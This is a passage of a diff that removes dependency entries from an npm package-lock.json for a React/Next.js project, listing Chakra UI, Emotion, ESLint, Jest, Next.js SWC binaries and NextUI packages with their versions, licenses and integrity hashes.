- "@emotion/styled": "^11.0.0",
- "react": ">=18"
- }
- },
- "node_modules/@chakra-ui/table": {
- "version": "2.1.0",
- "license": "MIT",
- "dependencies": {
- "@chakra-ui/react-context": "2.1.0",
- "@chakra-ui/shared-utils": "2.0.5"
- },
- "peerDependencies": {
- "@chakra-ui/system": ">=2.0.0",
- "react": ">=18"
- }
- },
- "node_modules/@chakra-ui/tabs": {
- "version": "3.0.0",
- "license": "MIT",
- "dependencies": {
- "@chakra-ui/clickable": "2.1.0",
- "@chakra-ui/descendant": "3.1.0",
- "@chakra-ui/lazy-utils": "2.0.5",
- "@chakra-ui/react-children-utils": "2.0.6",
- "@chakra-ui/react-context": "2.1.0",
- "@chakra-ui/react-use-controllable-state": "2.1.0",
- "@chakra-ui/react-use-merge-refs": "2.1.0",
- "@chakra-ui/react-use-safe-layout-effect": "2.1.0",
- "@chakra-ui/shared-utils": "2.0.5"
- },
- "peerDependencies": {
- "@chakra-ui/system": ">=2.0.0",
- "react": ">=18"
- }
- },
- "node_modules/@chakra-ui/tag": {
- "version": "3.1.1",
- "license": "MIT",
- "dependencies": {
- "@chakra-ui/icon": "3.2.0",
- "@chakra-ui/react-context": "2.1.0"
- },
- "peerDependencies": {
- "@chakra-ui/system": ">=2.0.0",
- "react": ">=18"
- }
- },
- "node_modules/@chakra-ui/textarea": {
- "version": "2.1.2",
- "license": "MIT",
- "dependencies": {
- "@chakra-ui/form-control": "2.2.0",
- "@chakra-ui/shared-utils": "2.0.5"
- },
- "peerDependencies": {
- "@chakra-ui/system": ">=2.0.0",
- "react": ">=18"
- }
- },
- "node_modules/@chakra-ui/theme": {
- "version": "3.3.1",
- "license": "MIT",
- "dependencies": {
- "@chakra-ui/anatomy": "2.2.2",
- "@chakra-ui/shared-utils": "2.0.5",
- "@chakra-ui/theme-tools": "2.1.2"
- },
- "peerDependencies": {
- "@chakra-ui/styled-system": ">=2.8.0"
- }
- },
- "node_modules/@chakra-ui/theme-tools": {
- "version": "2.1.2",
- "license": "MIT",
- "dependencies": {
- "@chakra-ui/anatomy": "2.2.2",
- "@chakra-ui/shared-utils": "2.0.5",
- "color2k": "^2.0.2"
- },
- "peerDependencies": {
- "@chakra-ui/styled-system": ">=2.0.0"
- }
- },
- "node_modules/@chakra-ui/theme-utils": {
- "version": "2.0.21",
- "license": "MIT",
- "dependencies": {
- "@chakra-ui/shared-utils": "2.0.5",
- "@chakra-ui/styled-system": "2.9.2",
- "@chakra-ui/theme": "3.3.1",
- "lodash.mergewith": "4.6.2"
- }
- },
- "node_modules/@chakra-ui/toast": {
- "version": "7.0.2",
- "license": "MIT",
- "dependencies": {
- "@chakra-ui/alert": "2.2.2",
- "@chakra-ui/close-button": "2.1.1",
- "@chakra-ui/portal": "2.1.0",
- "@chakra-ui/react-context": "2.1.0",
- "@chakra-ui/react-use-timeout": "2.1.0",
- "@chakra-ui/react-use-update-effect": "2.1.0",
- "@chakra-ui/shared-utils": "2.0.5",
- "@chakra-ui/styled-system": "2.9.2",
- "@chakra-ui/theme": "3.3.1"
- },
- "peerDependencies": {
- "@chakra-ui/system": "2.6.2",
- "framer-motion": ">=4.0.0",
- "react": ">=18",
- "react-dom": ">=18"
- }
- },
- "node_modules/@chakra-ui/tooltip": {
- "version": "2.3.1",
- "license": "MIT",
- "dependencies": {
- "@chakra-ui/dom-utils": "2.1.0",
- "@chakra-ui/popper": "3.1.0",
- "@chakra-ui/portal": "2.1.0",
- "@chakra-ui/react-types": "2.0.7",
- "@chakra-ui/react-use-disclosure": "2.1.0",
- "@chakra-ui/react-use-event-listener": "2.1.0",
- "@chakra-ui/react-use-merge-refs": "2.1.0",
- "@chakra-ui/shared-utils": "2.0.5"
- },
- "peerDependencies": {
- "@chakra-ui/system": ">=2.0.0",
- "framer-motion": ">=4.0.0",
- "react": ">=18",
- "react-dom": ">=18"
- }
- },
- "node_modules/@chakra-ui/transition": {
- "version": "2.1.0",
- "license": "MIT",
- "dependencies": {
- "@chakra-ui/shared-utils": "2.0.5"
- },
- "peerDependencies": {
- "framer-motion": ">=4.0.0",
- "react": ">=18"
- }
- },
- "node_modules/@chakra-ui/utils": {
- "version": "2.0.15",
- "license": "MIT",
- "dependencies": {
- "@types/lodash.mergewith": "4.6.7",
- "css-box-model": "1.2.1",
- "framesync": "6.1.2",
- "lodash.mergewith": "4.6.2"
- }
- },
- "node_modules/@chakra-ui/visually-hidden": {
- "version": "2.2.0",
- "license": "MIT",
- "peerDependencies": {
- "@chakra-ui/system": ">=2.0.0",
- "react": ">=18"
- }
- },
- "node_modules/@emotion/babel-plugin": {
- "version": "11.11.0",
- "license": "MIT",
- "peer": true,
- "dependencies": {
- "@babel/helper-module-imports": "^7.16.7",
- "@babel/runtime": "^7.18.3",
- "@emotion/hash": "^0.9.1",
- "@emotion/memoize": "^0.8.1",
- "@emotion/serialize": "^1.1.2",
- "babel-plugin-macros": "^3.1.0",
- "convert-source-map": "^1.5.0",
- "escape-string-regexp": "^4.0.0",
- "find-root": "^1.1.0",
- "source-map": "^0.5.7",
- "stylis": "4.2.0"
- }
- },
- "node_modules/@emotion/babel-plugin/node_modules/escape-string-regexp": {
- "version": "4.0.0",
- "license": "MIT",
- "peer": true,
- "engines": {
- "node": ">=10"
- },
- "funding": {
- "url": "https://github.com/sponsors/sindresorhus"
- }
- },
- "node_modules/@emotion/cache": {
- "version": "11.11.0",
- "license": "MIT",
- "peer": true,
- "dependencies": {
- "@emotion/memoize": "^0.8.1",
- "@emotion/sheet": "^1.2.2",
- "@emotion/utils": "^1.2.1",
- "@emotion/weak-memoize": "^0.3.1",
- "stylis": "4.2.0"
- }
- },
- "node_modules/@emotion/hash": {
- "version": "0.9.1",
- "license": "MIT",
- "peer": true
- },
- "node_modules/@emotion/is-prop-valid": {
- "version": "1.2.2",
- "license": "MIT",
- "peer": true,
- "dependencies": {
- "@emotion/memoize": "^0.8.1"
- }
- },
- "node_modules/@emotion/memoize": {
- "version": "0.8.1",
- "license": "MIT",
- "peer": true
- },
- "node_modules/@emotion/react": {
- "version": "11.11.4",
- "license": "MIT",
- "peer": true,
- "dependencies": {
- "@babel/runtime": "^7.18.3",
- "@emotion/babel-plugin": "^11.11.0",
- "@emotion/cache": "^11.11.0",
- "@emotion/serialize": "^1.1.3",
- "@emotion/use-insertion-effect-with-fallbacks": "^1.0.1",
- "@emotion/utils": "^1.2.1",
- "@emotion/weak-memoize": "^0.3.1",
- "hoist-non-react-statics": "^3.3.1"
- },
- "peerDependencies": {
- "react": ">=16.8.0"
- },
- "peerDependenciesMeta": {
- "@types/react": {
- "optional": true
- }
- }
- },
- "node_modules/@emotion/serialize": {
- "version": "1.1.4",
- "license": "MIT",
- "peer": true,
- "dependencies": {
- "@emotion/hash": "^0.9.1",
- "@emotion/memoize": "^0.8.1",
- "@emotion/unitless": "^0.8.1",
- "@emotion/utils": "^1.2.1",
- "csstype": "^3.0.2"
- }
- },
- "node_modules/@emotion/sheet": {
- "version": "1.2.2",
- "license": "MIT",
- "peer": true
- },
- "node_modules/@emotion/styled": {
- "version": "11.11.5",
- "license": "MIT",
- "peer": true,
- "dependencies": {
- "@babel/runtime": "^7.18.3",
- "@emotion/babel-plugin": "^11.11.0",
- "@emotion/is-prop-valid": "^1.2.2",
- "@emotion/serialize": "^1.1.4",
- "@emotion/use-insertion-effect-with-fallbacks": "^1.0.1",
- "@emotion/utils": "^1.2.1"
- },
- "peerDependencies": {
- "@emotion/react": "^11.0.0-rc.0",
- "react": ">=16.8.0"
- },
- "peerDependenciesMeta": {
- "@types/react": {
- "optional": true
- }
- }
- },
- "node_modules/@emotion/unitless": {
- "version": "0.8.1",
- "license": "MIT",
- "peer": true
- },
- "node_modules/@emotion/use-insertion-effect-with-fallbacks": {
- "version": "1.0.1",
- "license": "MIT",
- "peer": true,
- "peerDependencies": {
- "react": ">=16.8.0"
- }
- },
- "node_modules/@emotion/utils": {
- "version": "1.2.1",
- "license": "MIT",
- "peer": true
- },
- "node_modules/@emotion/weak-memoize": {
- "version": "0.3.1",
- "license": "MIT",
- "peer": true
- },
- "node_modules/@eslint-community/eslint-utils": {
- "version": "4.4.0",
- "dev": true,
- "license": "MIT",
- "dependencies": {
- "eslint-visitor-keys": "^3.3.0"
- },
- "engines": {
- "node": "^12.22.0 || ^14.17.0 || >=16.0.0"
- },
- "peerDependencies": {
- "eslint": "^6.0.0 || ^7.0.0 || >=8.0.0"
- }
- },
- "node_modules/@eslint-community/eslint-utils/node_modules/eslint-visitor-keys": {
- "version": "3.4.3",
- "dev": true,
- "license": "Apache-2.0",
- "engines": {
- "node": "^12.22.0 || ^14.17.0 || >=16.0.0"
- },
- "funding": {
- "url": "https://opencollective.com/eslint"
- }
- },
- "node_modules/@eslint-community/regexpp": {
- "version": "4.11.0",
- "dev": true,
- "license": "MIT",
- "engines": {
- "node": "^12.0.0 || ^14.0.0 || >=16.0.0"
- }
- },
- "node_modules/@eslint/config-array": {
- "version": "0.17.1",
- "dev": true,
- "license": "Apache-2.0",
- "dependencies": {
- "@eslint/object-schema": "^2.1.4",
- "debug": "^4.3.1",
- "minimatch": "^3.1.2"
- },
- "engines": {
- "node": "^18.18.0 || ^20.9.0 || >=21.1.0"
- }
- },
- "node_modules/@eslint/eslintrc": {
- "version": "3.1.0",
- "dev": true,
- "license": "MIT",
- "dependencies": {
- "ajv": "^6.12.4",
- "debug": "^4.3.2",
- "espree": "^10.0.1",
- "globals": "^14.0.0",
- "ignore": "^5.2.0",
- "import-fresh": "^3.2.1",
- "js-yaml": "^4.1.0",
- "minimatch": "^3.1.2",
- "strip-json-comments": "^3.1.1"
- },
- "engines": {
- "node": "^18.18.0 || ^20.9.0 || >=21.1.0"
- },
- "funding": {
- "url": "https://opencollective.com/eslint"
- }
- },
- "node_modules/@eslint/eslintrc/node_modules/globals": {
- "version": "14.0.0",
- "dev": true,
- "license": "MIT",
- "engines": {
- "node": ">=18"
- },
- "funding": {
- "url": "https://github.com/sponsors/sindresorhus"
- }
- },
- "node_modules/@eslint/eslintrc/node_modules/ignore": {
- "version": "5.3.2",
- "dev": true,
- "license": "MIT",
- "engines": {
- "node": ">= 4"
- }
- },
- "node_modules/@eslint/js": {
- "version": "9.9.0",
- "dev": true,
- "license": "MIT",
- "engines": {
- "node": "^18.18.0 || ^20.9.0 || >=21.1.0"
- }
- },
- "node_modules/@eslint/object-schema": {
- "version": "2.1.4",
- "dev": true,
- "license": "Apache-2.0",
- "engines": {
- "node": "^18.18.0 || ^20.9.0 || >=21.1.0"
- }
- },
- "node_modules/@fastify/busboy": {
- "version": "2.1.1",
- "resolved": "https://registry.npmjs.org/@fastify/busboy/-/busboy-2.1.1.tgz",
- "integrity": "sha512-vBZP4NlzfOlerQTnba4aqZoMhE/a9HY7HRqoOPaETQcSQuWEIyZMHGfVu6w9wGtGK5fED5qRs2DteVCjOH60sA==",
- "engines": {
- "node": ">=14"
- }
- },
- "node_modules/@floating-ui/core": {
- "version": "1.6.8",
- "resolved": "https://registry.npmjs.org/@floating-ui/core/-/core-1.6.8.tgz",
- "integrity": "sha512-7XJ9cPU+yI2QeLS+FCSlqNFZJq8arvswefkZrYI1yQBbftw6FyrZOxYSh+9S7z7TpeWlRt9zJ5IhM1WIL334jA==",
- "dependencies": {
- "@floating-ui/utils": "^0.2.8"
- }
- },
- "node_modules/@floating-ui/dom": {
- "version": "1.6.11",
- "resolved": "https://registry.npmjs.org/@floating-ui/dom/-/dom-1.6.11.tgz",
- "integrity": "sha512-qkMCxSR24v2vGkhYDo/UzxfJN3D4syqSjyuTFz6C7XcpU1pASPRieNI0Kj5VP3/503mOfYiGY891ugBX1GlABQ==",
- "dependencies": {
- "@floating-ui/core": "^1.6.0",
- "@floating-ui/utils": "^0.2.8"
- }
- },
- "node_modules/@floating-ui/react-dom": {
- "version": "2.1.2",
- "resolved": "https://registry.npmjs.org/@floating-ui/react-dom/-/react-dom-2.1.2.tgz",
- "integrity": "sha512-06okr5cgPzMNBy+Ycse2A6udMi4bqwW/zgBF/rwjcNqWkyr82Mcg8b0vjX8OJpZFy/FKjJmw6wV7t44kK6kW7A==",
- "dependencies": {
- "@floating-ui/dom": "^1.0.0"
- },
- "peerDependencies": {
- "react": ">=16.8.0",
- "react-dom": ">=16.8.0"
- }
- },
- "node_modules/@floating-ui/utils": {
- "version": "0.2.8",
- "resolved": "https://registry.npmjs.org/@floating-ui/utils/-/utils-0.2.8.tgz",
- "integrity": "sha512-kym7SodPp8/wloecOpcmSnWJsK7M0E5Wg8UcFA+uO4B9s5d0ywXOEro/8HM9x0rW+TljRzul/14UYz3TleT3ig=="
- },
- "node_modules/@formatjs/ecma402-abstract": {
- "version": "2.0.0",
- "license": "MIT",
- "dependencies": {
- "@formatjs/intl-localematcher": "0.5.4",
- "tslib": "^2.4.0"
- }
- },
- "node_modules/@formatjs/fast-memoize": {
- "version": "2.2.0",
- "license": "MIT",
- "dependencies": {
- "tslib": "^2.4.0"
- }
- },
- "node_modules/@formatjs/icu-messageformat-parser": {
- "version": "2.7.8",
- "license": "MIT",
- "dependencies": {
- "@formatjs/ecma402-abstract": "2.0.0",
- "@formatjs/icu-skeleton-parser": "1.8.2",
- "tslib": "^2.4.0"
- }
- },
- "node_modules/@formatjs/icu-skeleton-parser": {
- "version": "1.8.2",
- "license": "MIT",
- "dependencies": {
- "@formatjs/ecma402-abstract": "2.0.0",
- "tslib": "^2.4.0"
- }
- },
- "node_modules/@formatjs/intl-localematcher": {
- "version": "0.5.4",
- "license": "MIT",
- "dependencies": {
- "tslib": "^2.4.0"
- }
- },
- "node_modules/@heroicons/react": {
- "version": "2.1.5",
- "resolved": "https://registry.npmjs.org/@heroicons/react/-/react-2.1.5.tgz",
- "integrity": "sha512-FuzFN+BsHa+7OxbvAERtgBTNeZpUjgM/MIizfVkSCL2/edriN0Hx/DWRCR//aPYwO5QX/YlgLGXk+E3PcfZwjA==",
- "license": "MIT",
- "peerDependencies": {
- "react": ">= 16"
- }
- },
- "node_modules/@humanwhocodes/module-importer": {
- "version": "1.0.1",
- "dev": true,
- "license": "Apache-2.0",
- "engines": {
- "node": ">=12.22"
- },
- "funding": {
- "type": "github",
- "url": "https://github.com/sponsors/nzakas"
- }
- },
- "node_modules/@humanwhocodes/retry": {
- "version": "0.3.0",
- "dev": true,
- "license": "Apache-2.0",
- "engines": {
- "node": ">=18.18"
- },
- "funding": {
- "type": "github",
- "url": "https://github.com/sponsors/nzakas"
- }
- },
- "node_modules/@internationalized/date": {
- "version": "3.5.4",
- "license": "Apache-2.0",
- "dependencies": {
- "@swc/helpers": "^0.5.0"
- }
- },
- "node_modules/@internationalized/message": {
- "version": "3.1.4",
- "license": "Apache-2.0",
- "dependencies": {
- "@swc/helpers": "^0.5.0",
- "intl-messageformat": "^10.1.0"
- }
- },
- "node_modules/@internationalized/number": {
- "version": "3.5.3",
- "license": "Apache-2.0",
- "dependencies": {
- "@swc/helpers": "^0.5.0"
- }
- },
- "node_modules/@internationalized/string": {
- "version": "3.2.3",
- "license": "Apache-2.0",
- "dependencies": {
- "@swc/helpers": "^0.5.0"
- }
- },
- "node_modules/@isaacs/cliui": {
- "version": "8.0.2",
- "license": "ISC",
- "dependencies": {
- "string-width": "^5.1.2",
- "string-width-cjs": "npm:string-width@^4.2.0",
- "strip-ansi": "^7.0.1",
- "strip-ansi-cjs": "npm:strip-ansi@^6.0.1",
- "wrap-ansi": "^8.1.0",
- "wrap-ansi-cjs": "npm:wrap-ansi@^7.0.0"
- },
- "engines": {
- "node": ">=12"
- }
- },
- "node_modules/@jest/environment": {
- "version": "29.7.0",
- "license": "MIT",
- "dependencies": {
- "@jest/fake-timers": "^29.7.0",
- "@jest/types": "^29.6.3",
- "@types/node": "*",
- "jest-mock": "^29.7.0"
- },
- "engines": {
- "node": "^14.15.0 || ^16.10.0 || >=18.0.0"
- }
- },
- "node_modules/@jest/fake-timers": {
- "version": "29.7.0",
- "license": "MIT",
- "dependencies": {
- "@jest/types": "^29.6.3",
- "@sinonjs/fake-timers": "^10.0.2",
- "@types/node": "*",
- "jest-message-util": "^29.7.0",
- "jest-mock": "^29.7.0",
- "jest-util": "^29.7.0"
- },
- "engines": {
- "node": "^14.15.0 || ^16.10.0 || >=18.0.0"
- }
- },
- "node_modules/@jest/schemas": {
- "version": "29.6.3",
- "license": "MIT",
- "dependencies": {
- "@sinclair/typebox": "^0.27.8"
- },
- "engines": {
- "node": "^14.15.0 || ^16.10.0 || >=18.0.0"
- }
- },
- "node_modules/@jest/types": {
- "version": "29.6.3",
- "license": "MIT",
- "dependencies": {
- "@jest/schemas": "^29.6.3",
- "@types/istanbul-lib-coverage": "^2.0.0",
- "@types/istanbul-reports": "^3.0.0",
- "@types/node": "*",
- "@types/yargs": "^17.0.8",
- "chalk": "^4.0.0"
- },
- "engines": {
- "node": "^14.15.0 || ^16.10.0 || >=18.0.0"
- }
- },
- "node_modules/@jest/types/node_modules/ansi-styles": {
- "version": "4.3.0",
- "license": "MIT",
- "dependencies": {
- "color-convert": "^2.0.1"
- },
- "engines": {
- "node": ">=8"
- },
- "funding": {
- "url": "https://github.com/chalk/ansi-styles?sponsor=1"
- }
- },
- "node_modules/@jest/types/node_modules/chalk": {
- "version": "4.1.2",
- "license": "MIT",
- "dependencies": {
- "ansi-styles": "^4.1.0",
- "supports-color": "^7.1.0"
- },
- "engines": {
- "node": ">=10"
- },
- "funding": {
- "url": "https://github.com/chalk/chalk?sponsor=1"
- }
- },
- "node_modules/@jest/types/node_modules/color-convert": {
- "version": "2.0.1",
- "license": "MIT",
- "dependencies": {
- "color-name": "~1.1.4"
- },
- "engines": {
- "node": ">=7.0.0"
- }
- },
- "node_modules/@jest/types/node_modules/color-name": {
- "version": "1.1.4",
- "license": "MIT"
- },
- "node_modules/@jest/types/node_modules/has-flag": {
- "version": "4.0.0",
- "license": "MIT",
- "engines": {
- "node": ">=8"
- }
- },
- "node_modules/@jest/types/node_modules/supports-color": {
- "version": "7.2.0",
- "license": "MIT",
- "dependencies": {
- "has-flag": "^4.0.0"
- },
- "engines": {
- "node": ">=8"
- }
- },
- "node_modules/@jridgewell/gen-mapping": {
- "version": "0.3.5",
- "license": "MIT",
- "dependencies": {
- "@jridgewell/set-array": "^1.2.1",
- "@jridgewell/sourcemap-codec": "^1.4.10",
- "@jridgewell/trace-mapping": "^0.3.24"
- },
- "engines": {
- "node": ">=6.0.0"
- }
- },
- "node_modules/@jridgewell/resolve-uri": {
- "version": "3.1.2",
- "license": "MIT",
- "engines": {
- "node": ">=6.0.0"
- }
- },
- "node_modules/@jridgewell/set-array": {
- "version": "1.2.1",
- "license": "MIT",
- "engines": {
- "node": ">=6.0.0"
- }
- },
- "node_modules/@jridgewell/sourcemap-codec": {
- "version": "1.4.15",
- "license": "MIT"
- },
- "node_modules/@jridgewell/trace-mapping": {
- "version": "0.3.25",
- "license": "MIT",
- "dependencies": {
- "@jridgewell/resolve-uri": "^3.1.0",
- "@jridgewell/sourcemap-codec": "^1.4.14"
- }
- },
- "node_modules/@mrmlnc/readdir-enhanced": {
- "version": "2.2.1",
- "license": "MIT",
- "dependencies": {
- "call-me-maybe": "^1.0.1",
- "glob-to-regexp": "^0.3.0"
- },
- "engines": {
- "node": ">=4"
- }
- },
- "node_modules/@next/env": {
- "version": "14.2.5",
- "license": "MIT"
- },
- "node_modules/@next/swc-darwin-arm64": {
- "version": "14.2.5",
- "resolved": "https://registry.npmjs.org/@next/swc-darwin-arm64/-/swc-darwin-arm64-14.2.5.tgz",
- "integrity": "sha512-/9zVxJ+K9lrzSGli1///ujyRfon/ZneeZ+v4ptpiPoOU+GKZnm8Wj8ELWU1Pm7GHltYRBklmXMTUqM/DqQ99FQ==",
- "cpu": [
- "arm64"
- ],
- "optional": true,
- "os": [
- "darwin"
- ],
- "engines": {
- "node": ">= 10"
- }
- },
- "node_modules/@next/swc-darwin-x64": {
- "version": "14.2.5",
- "resolved": "https://registry.npmjs.org/@next/swc-darwin-x64/-/swc-darwin-x64-14.2.5.tgz",
- "integrity": "sha512-vXHOPCwfDe9qLDuq7U1OYM2wUY+KQ4Ex6ozwsKxp26BlJ6XXbHleOUldenM67JRyBfVjv371oneEvYd3H2gNSA==",
- "cpu": [
- "x64"
- ],
- "optional": true,
- "os": [
- "darwin"
- ],
- "engines": {
- "node": ">= 10"
- }
- },
- "node_modules/@next/swc-linux-arm64-gnu": {
- "version": "14.2.5",
- "resolved": "https://registry.npmjs.org/@next/swc-linux-arm64-gnu/-/swc-linux-arm64-gnu-14.2.5.tgz",
- "integrity": "sha512-vlhB8wI+lj8q1ExFW8lbWutA4M2ZazQNvMWuEDqZcuJJc78iUnLdPPunBPX8rC4IgT6lIx/adB+Cwrl99MzNaA==",
- "cpu": [
- "arm64"
- ],
- "optional": true,
- "os": [
- "linux"
- ],
- "engines": {
- "node": ">= 10"
- }
- },
- "node_modules/@next/swc-linux-arm64-musl": {
- "version": "14.2.5",
- "resolved": "https://registry.npmjs.org/@next/swc-linux-arm64-musl/-/swc-linux-arm64-musl-14.2.5.tgz",
- "integrity": "sha512-NpDB9NUR2t0hXzJJwQSGu1IAOYybsfeB+LxpGsXrRIb7QOrYmidJz3shzY8cM6+rO4Aojuef0N/PEaX18pi9OA==",
- "cpu": [
- "arm64"
- ],
- "optional": true,
- "os": [
- "linux"
- ],
- "engines": {
- "node": ">= 10"
- }
- },
- "node_modules/@next/swc-linux-x64-gnu": {
- "version": "14.2.5",
- "resolved": "https://registry.npmjs.org/@next/swc-linux-x64-gnu/-/swc-linux-x64-gnu-14.2.5.tgz",
- "integrity": "sha512-8XFikMSxWleYNryWIjiCX+gU201YS+erTUidKdyOVYi5qUQo/gRxv/3N1oZFCgqpesN6FPeqGM72Zve+nReVXQ==",
- "cpu": [
- "x64"
- ],
- "optional": true,
- "os": [
- "linux"
- ],
- "engines": {
- "node": ">= 10"
- }
- },
- "node_modules/@next/swc-linux-x64-musl": {
- "version": "14.2.5",
- "resolved": "https://registry.npmjs.org/@next/swc-linux-x64-musl/-/swc-linux-x64-musl-14.2.5.tgz",
- "integrity": "sha512-6QLwi7RaYiQDcRDSU/os40r5o06b5ue7Jsk5JgdRBGGp8l37RZEh9JsLSM8QF0YDsgcosSeHjglgqi25+m04IQ==",
- "cpu": [
- "x64"
- ],
- "optional": true,
- "os": [
- "linux"
- ],
- "engines": {
- "node": ">= 10"
- }
- },
- "node_modules/@next/swc-win32-arm64-msvc": {
- "version": "14.2.5",
- "resolved": "https://registry.npmjs.org/@next/swc-win32-arm64-msvc/-/swc-win32-arm64-msvc-14.2.5.tgz",
- "integrity": "sha512-1GpG2VhbspO+aYoMOQPQiqc/tG3LzmsdBH0LhnDS3JrtDx2QmzXe0B6mSZZiN3Bq7IOMXxv1nlsjzoS1+9mzZw==",
- "cpu": [
- "arm64"
- ],
- "optional": true,
- "os": [
- "win32"
- ],
- "engines": {
- "node": ">= 10"
- }
- },
- "node_modules/@next/swc-win32-ia32-msvc": {
- "version": "14.2.5",
- "resolved": "https://registry.npmjs.org/@next/swc-win32-ia32-msvc/-/swc-win32-ia32-msvc-14.2.5.tgz",
- "integrity": "sha512-Igh9ZlxwvCDsu6438FXlQTHlRno4gFpJzqPjSIBZooD22tKeI4fE/YMRoHVJHmrQ2P5YL1DoZ0qaOKkbeFWeMg==",
- "cpu": [
- "ia32"
- ],
- "optional": true,
- "os": [
- "win32"
- ],
- "engines": {
- "node": ">= 10"
- }
- },
- "node_modules/@next/swc-win32-x64-msvc": {
- "version": "14.2.5",
- "resolved": "https://registry.npmjs.org/@next/swc-win32-x64-msvc/-/swc-win32-x64-msvc-14.2.5.tgz",
- "integrity": "sha512-tEQ7oinq1/CjSG9uSTerca3v4AZ+dFa+4Yu6ihaG8Ud8ddqLQgFGcnwYls13H5X5CPDPZJdYxyeMui6muOLd4g==",
- "cpu": [
- "x64"
- ],
- "optional": true,
- "os": [
- "win32"
- ],
- "engines": {
- "node": ">= 10"
- }
- },
- "node_modules/@nextui-org/aria-utils": {
- "version": "2.0.24",
- "license": "MIT",
- "dependencies": {
- "@nextui-org/react-rsc-utils": "2.0.13",
- "@nextui-org/shared-utils": "2.0.7",
- "@nextui-org/system": "2.2.5",
- "@react-aria/utils": "3.24.1",
- "@react-stately/collections": "3.10.7",
- "@react-stately/overlays": "3.6.7",
- "@react-types/overlays": "3.8.7",
- "@react-types/shared": "3.23.1"
- },
- "peerDependencies": {
- "react": ">=18",
- "react-dom": ">=18"
- }
- },
- "node_modules/@nextui-org/avatar": {
- "version": "2.0.32",
- "license": "MIT",
- "dependencies": {
- "@nextui-org/react-utils": "2.0.16",
- "@nextui-org/shared-utils": "2.0.7",
- "@nextui-org/use-image": "2.0.6",
- "@react-aria/focus": "3.17.1",
- "@react-aria/interactions": "3.21.3",
- "@react-aria/utils": "3.24.1"
- },
- "peerDependencies": {
- "@nextui-org/system": ">=2.0.0",
- "@nextui-org/theme": ">=2.1.0",
- "react": ">=18",
- "react-dom": ">=18"
- }
- },
- "node_modules/@nextui-org/button": {
- "version": "2.0.37",
- "license": "MIT",
- "dependencies": {
- "@nextui-org/react-utils": "2.0.16",
- "@nextui-org/ripple": "2.0.32",
- "@nextui-org/shared-utils": "2.0.7",
- "@nextui-org/spinner": "2.0.33",
- "@nextui-org/use-aria-button": "2.0.10",
- "@react-aria/button": "3.9.5",
- "@react-aria/focus": "3.17.1",
- "@react-aria/interactions": "3.21.3",
- "@react-aria/utils": "3.24.1",
- "@react-types/button": "3.9.4",
- "@react-types/shared": "3.23.1"
- },
- "peerDependencies": {
- "@nextui-org/system": ">=2.0.0",
- "@nextui-org/theme": ">=2.1.0",
- "framer-motion": ">=10.17.0",
- "react": ">=18",
- "react-dom": ">=18"
- }
- },
- "node_modules/@nextui-org/card": {
- "version": "2.0.33",
- "license": "MIT",
- "dependencies": {
- "@nextui-org/react-utils": "2.0.16",
- "@nextui-org/ripple": "2.0.32",
- "@nextui-org/shared-utils": "2.0.7",
- "@nextui-org/use-aria-button": "2.0.10",
- "@react-aria/button": "3.9.5",
- "@react-aria/focus": "3.17.1",
- "@react-aria/interactions": "3.21.3",
- "@react-aria/utils": "3.24.1",
- "@react-types/shared": "3.23.1"
- },
- "peerDependencies": {
- "@nextui-org/system": ">=2.0.0",
- "@nextui-org/theme": ">=2.1.0",
- "framer-motion": ">=10.17.0",
- "react": ">=18",
- "react-dom": ">=18"
- }
- },
- "node_modules/@nextui-org/divider": {
- "version": "2.0.31",
- "license": "MIT",
- "dependencies": {
- "@nextui-org/react-rsc-utils": "2.0.13",
- "@nextui-org/shared-utils": "2.0.7",
- "@nextui-org/system-rsc": "2.1.5",
- "@react-types/shared": "3.23.1"
- },
- "peerDependencies": {
- "@nextui-org/theme": ">=2.1.0",
- "react": ">=18",
- "react-dom": ">=18"
- }
- },
- "node_modules/@nextui-org/listbox": {
- "version": "2.1.25",
- "license": "MIT",
- "dependencies": {
- "@nextui-org/aria-utils": "2.0.24",
- "@nextui-org/divider": "2.0.31",
- "@nextui-org/react-utils": "2.0.16",
- "@nextui-org/shared-utils": "2.0.7",
- "@nextui-org/use-is-mobile": "2.0.9",
- "@react-aria/focus": "3.17.1",
- "@react-aria/interactions": "3.21.3",
- "@react-aria/listbox": "3.12.1",
- "@react-aria/utils": "3.24.1",
- "@react-stately/list": "3.10.5",
- "@react-types/menu": "3.9.9",
- "@react-types/shared": "3.23.1"
- },
- "peerDependencies": {
- "@nextui-org/system": ">=2.0.0",
- "@nextui-org/theme": ">=2.1.0",
- "react": ">=18",
- "react-dom": ">=18"
- }
- },
- "node_modules/@nextui-org/react-rsc-utils": {
- "version": "2.0.13",
- "license": "MIT"
- },
- "node_modules/@nextui-org/react-utils": {
- "version": "2.0.16",
- "license": "MIT",
- "dependencies": {
- "@nextui-org/react-rsc-utils": "2.0.13",
- "@nextui-org/shared-utils": "2.0.7"
- },
- "peerDependencies": {
- "react": ">=18"
- }
- },
- "node_modules/@nextui-org/ripple": {
- "version": "2.0.32",
- "license": "MIT",
- "dependencies": {
- "@nextui-org/react-utils": "2.0.16",
- "@nextui-org/shared-utils": "2.0.7"
- },
- "peerDependencies": {
- "@nextui-org/system": ">=2.0.0",
- "@nextui-org/theme": ">=2.1.0",
- "framer-motion": ">=10.17.0",
- "react": ">=18",
- "react-dom": ">=18"
- }
- },
- "node_modules/@nextui-org/shared-utils": {
- "version": "2.0.7",
- "license": "MIT"
- },
- "node_modules/@nextui-org/spinner": {
- "version": "2.0.33",
- "license": "MIT",
- "dependencies": {
- "@nextui-org/react-utils": "2.0.16",
- "@nextui-org/shared-utils": "2.0.7",
- "@nextui-org/system-rsc": "2.1.5"
- },
- "peerDependencies": {
- "@nextui-org/theme": ">=2.1.0",
- "react": ">=18",
- "react-dom": ">=18"
- }
- },
- "node_modules/@nextui-org/system": {
- "version": "2.2.5",
- "license": "MIT",
- "dependencies": {
- "@internationalized/date": "^3.5.4",
- "@nextui-org/react-utils": "2.0.16",
- "@nextui-org/system-rsc": "2.1.5",
- "@react-aria/i18n": "3.11.1",
- "@react-aria/overlays": "3.22.1",
- "@react-aria/utils": "3.24.1",
- "@react-stately/utils": "3.10.1"
- },
- "peerDependencies": {
- "framer-motion": ">=10.17.0",
- "react": ">=18",
- "react-dom": ">=18"
- }
- },
- "node_modules/@nextui-org/system-rsc": {
- "version": "2.1.5",
- "license": "MIT",
- "dependencies": {
- "@react-types/shared": "3.23.1",
- "clsx": "^1.2.1"
- },
- "peerDependencies": {
- "@nextui-org/theme": ">=2.1.0",
- "react": ">=18"
- }
- },
- "node_modules/@nextui-org/system-rsc/node_modules/clsx": {
- "version": "1.2.1",
- "resolved": "https://registry.npmjs.org/clsx/-/clsx-1.2.1.tgz",
